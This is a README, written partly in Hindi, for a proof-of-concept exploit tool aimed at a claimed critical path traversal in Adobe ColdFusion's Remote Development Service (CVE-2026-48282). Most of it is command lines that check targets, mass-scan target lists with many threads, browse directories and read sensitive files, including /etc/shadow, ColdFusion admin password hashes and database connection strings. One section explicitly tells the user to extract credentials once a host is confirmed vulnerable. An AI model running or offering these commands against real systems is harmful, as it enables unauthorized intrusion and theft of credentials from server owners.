
CVE-2026-48282 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Adobe ColdFusion RDS में एक गंभीर पाथ ट्रैवर्सल जो बिना प्रमाणीकरण के फ़ाइल पढ़ने/लिखने और RCE को सक्षम बनाता है। सिंगल-टार्गेट और मास स्कैनिंग को मल्टी-थ्रेडेड फ़ाइल निष्कर्षण के साथ समर्थन करता है।
CVE-2026-48282 Adobe ColdFusion के Remote Development Service (RDS) में एक path traversal भेद्यता है, जिसका CVSS स्कोर 10.0 (Critical) है। यह बिना प्रमाणीकरण के हमलावरों को /CFIDE/main/ide.cfm एंडपॉइंट के माध्यम से मनमानी फ़ाइलें पढ़ने और लिखने की अनुमति देता है, जिससे Remote Code Execution (RCE) हो सकता है।
# Clone the repository
git clone https://github.com/<username>/CVE-2026-48282.git
cd CVE-2026-48282
# Install dependencies (only requires `requests`)
pip install -r requirements.txt
# Check vulnerability
python cve-2026-48282.py -t https://target.com --check
# Read files
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read "C:\\Windows\\win.ini"
python cve-2026-48282.py -t https://target.com --read "C:\\ColdFusion2023\\cfusion\\lib\\password.properties"
# Browse directories
python cve-2026-48282.py -t https://target.com --browse "C:\\"
python cve-2026-48282.py -t https://target.com --browse "C:\\inetpub\\wwwroot"
# Basic mass scan
python cve-2026-48282.py -l targets.txt --check
# More threads + save results
python cve-2026-48282.py -l targets.txt --check --threads 30 -o vuln.txt
# Scan + auto-read canary file on any vulnerable target found
python cve-2026-48282.py -l targets.txt --check --read "C:\\Windows\\win.ini" -o results.txt
Once confirmed vulnerable, extract credentials and configuration:
# ColdFusion admin password hash
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\password.properties"
# Database connection strings (neo-query.xml)
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\neo-query.xml"
# Linux targets
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read /etc/shadow
